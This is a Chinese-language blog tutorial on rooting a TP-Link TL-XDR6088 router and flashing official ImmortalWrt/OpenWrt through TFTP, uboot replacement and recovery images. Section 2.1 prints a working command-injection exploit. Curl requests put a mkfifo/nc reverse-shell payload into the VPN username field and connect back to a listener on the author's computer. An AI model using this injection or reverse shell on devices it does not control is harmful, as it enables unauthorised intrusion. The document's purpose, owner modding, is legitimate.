网络上已经有不少文章、视频教程讲 TL-XDR6088/6086 如何刷 openwrt,但全都是刷的L改版,而非官方版。由于官方采用了不同分区格式和 uboot 版本的镜像,刷写的方法有很大区别,还没有人完整地记录过。
官方版 Openwrt 对新硬件的支持有时候是更好的,获取固件也更灵活方便。而且,官方版全部是符合 GPL 的开源代码,社区支持也更好。
我手里这台是 TL-XDR6088,如果是 TL-XDR6086,自己操作的时候对应好型号和文件名就行,其余都是一样的。
截至本文写作时,原厂固件版本为 1.0.24 依然可以利用下面所说的 root 方法。将来更高版本可能不保证。
不需要螺丝刀,更不需要 TTL 串口,只需要一台可以连接网线的电脑。
注意事项:
- 建议先将路由器还原为出厂设置,避免因为设置不同导致的影响
- 将网线插在路由器的 1Gb 口上,另一头直连电脑。手动设置 IP 地址为 192.168.1.254,网关地址 192.168.1.1,子网掩码 255.255.255.0 —— 这里很重要,这是官方 openwrt uboot 的 tftp server 地址设置
- 如果你使用的是 Windows,那么强烈建议你先安装好 WSL
- 胆大心细,最重要的是心细,特别是你输入 dd 命令覆写 uboot 的时候,如果错了,就只能送修了。别的步骤都是可逆的,可以胆大
0. 下载镜像文件
首先当然是下载镜像文件。你可以选择官方的,或者跟我一样,选择针对中国大陆用户做过特别优化的 Immortalwrt。4个文件要全部下载,放在同一个文件夹中,下面的步骤会用到。
本文写作时,最新的是 23.05.0-rc3 版。将来请用更新的稳定版本。
目前 Immortalwrt 已经支持:
- 双 2.5Gb 网口的正常驱动(但LED灯还不亮)
- WiFi6 160Mhz
- 硬件流量分载
- WED (Wireless Ethernet Dispatch) 无线加速
- 硬件 NAT 加速
- Fullcone NAT
该有的都有了,当然 bug 也可能遇到。
1. 准备 TFTP 服务器
不要忘了把 TFTP 服务器的目录设为之前下载 Openwrt 镜像文件的目录。整个过程中,你需要一直保持 TFTP 服务器的运行,直到成功刷入镜像。
你可以参考官方Wiki给出的诸多方法。我简要总结最简单的方式:
- macOS:建议使用内置的 launchctl 实现 tftp 服务器
- Linux:建议使用内置的 dnsmasq 实现 tftp 服务器
- Windows 11:建议使用 tftpd64。Windows 反而是最麻烦的,仔细阅读官方Wiki后我折腾了好一会儿
如果使用 Windows 11,需要以下的额外步骤确保 TFTPD64 能够为 uboot 所用。
关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像。需要管理员权限的终端。
netsh interface ipv4 set global dhcpmediasense=disabled netsh interface ipv6 set global dhcpmediasense=disabled
第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。你也可以在管理员权限的终端中为所有TFTP应用打开防火墙端口:
netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public
2. 获取 root 权限
2.1 如果路由器是原厂固件
以下方法感谢南浦月。
安装 nmap,我们主要是要用到里面的 ncat
打开一个终端窗口,运行
ncat -nvlp 4444
,开始侦听按 F12 打开浏览器调试控制台,找到形如
http://192.168.1.1/stok=<stok值>/ds
的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了接下来,如果你是用的 Windows,在 WSL 终端里进行以下操作。而 Linux 或 macOS 的终端本身可以直接操作
先把 stok 存入环境变量
export stok=<stok值>
然后运行以下命令
curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
如果成功运行,则会返回
{"error_code":0}
继续运行以下命令
curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
如果成功运行,则会返回
{"error_code":0}
此时,在步骤2中打开的终端窗口中,你应该会看到如下提示:
sh: can't access tty; job control turned off BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash) Enter 'help' for a list of built-in commands. / #
这就成功地开启了具有 root 权限的控制台命令行提示符了。
如果想要重新启用这个控制台,你可以先重复步骤2,然后再把步骤8中的末尾
"block":"1"
改成"block":"0"
,运行一下。然后再重复步骤8即可。
2.2 如果路由器已经刷了其它版本的 Openwrt
- ssh 到 Openwrt 的控制台
- 打开mtd写入(如果是L改版固件,这一步或可省)
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
3. 传输 uboot 镜像
在这之前,先备份路由器的原厂固件,将来才能恢复。(逐条执行,小心一点,非原厂固件可跳过)
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
md5sum /tmp/backup.img
最后一条命令是计算文件的 md5 值。在 TFTP 服务器收到文件后,也要在电脑上检查一下,确保两者一致。如果使用的是 Windows 电脑可以运行 certutil -hashfile 文件名 md5
来计算。在下面的步骤中,也建议你在通过 TFTP 传输了文件后检查两边的 md5 值是否相同,确保万无一失。毕竟,接下来的步骤出错会导致路由器变砖,必须拆芯片维修。
如果你用的非原厂固件,可能需要先通过 opkg 安装一下 tftp 软件包。
先把 uboot 文件传输过去:
tftp -g -l /tmp/preloader.bin -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/bl31-uboot.fip -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254
传输完了先检查 md5,没问题就进行写入。
4. 写入 uboot
这时候你可以播放一首 Michael Jackson 的 Dangerous 作为背景音乐。
4.1 如果路由器是原厂固件
以下命令一定不能调换顺序,不然你将收获一块砖。
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/bl31-uboot.fip
正常的运行结果是(xyab是数字)
x+y records in
a+b records out
如果中途有什么错误发生了,请深呼吸一口,然后重新依次运行一遍。
4.2 如果路由器已经刷了其它版本的 Openwrt
在 Openwrt 中运行
cat /proc/mtd
得到mtd设备的真实命名,再用命令来写入(将下面的BL2或FIP改成你在上面看到的名字,注意大小写)
md5sum /tmp/preloader.bin
mtd erase BL2
mtd write /tmp/preloader.bin BL2
mtd verify /tmp/preloader.bin BL2
md5sum /tmp/bl31-uboot.fip
mtd erase FIP
mtd write /tmp/bl31-uboot.fip FIP
mtd verify /tmp/bl31-uboot.fip FIP
注意查看上传的两个文件 md5 并和本地文件对比,查看两次 mtd verify 最后是否输出输出 Success,没问题才可进行下一步。
5. 通过 tftp 载入 recovery 镜像
这时候你可以拔掉路由器的电源,然后插上。直接拔电源可能是最安全的,因为如果你用 reboot 命令,可能会有一些后台程序运行(包括可能你之前在慌乱中没有杀掉的误操作了的 dd)导致路由器变砖。别问我是怎么知道的。
此时 tftp 服务器上应该已经有提示了,路由器在请求的文件名为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
。你只需要把结尾为 recovery.itb
的文件,改名为这个就行了。
如果没动静,你可以拔下电源,然后顶住 reset 孔不放,同时插入电源,应该会看到 LAN 口的灯齐闪一下。大约10秒钟,应该就会进入 recovery 模式。确保网线插在 1Gb LAN 口上,网口的灯应该会亮的。
很快就会传输完成,下面是 Windows 上的 tftpd64 的文件报错,和改名后成功传输的截图。
6. 刷入 sysupgrade 镜像
在接收了 recovery 镜像后,路由器会马上启动 openwrt,这时候你在浏览器中输入网址 192.168.1.1
应该就可以打开 openwrt 的网页端了。
根据提示,在网页中上传 sysupgrade.itb
镜像文件,进行刷入。然后就大功告成了。
但这还不是结束,6088/6086 的硬件性能想要充分发挥,还需要进行一些优化设置。下一篇再记录。
7. 如何刷回原厂固件
前提是你有原厂固件的备份镜像。
方法参考
- 将备份的文件传到Openwrt的tmp目录
- 打开mtd写入(如果是L改版固件,这一步或可省)
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
- 上传backup.img到/tmp,之后拆分备份文件。
dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8
- mtd命令写入mtd0分区,之后断电重启就会进入tp恢复模式,刷入tp官网固件即可。注意不要刷入高于1.0.24版本的固件。
mtd write /tmp/backup-mtd0.img /dev/mtd0
刷入Openwrt或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。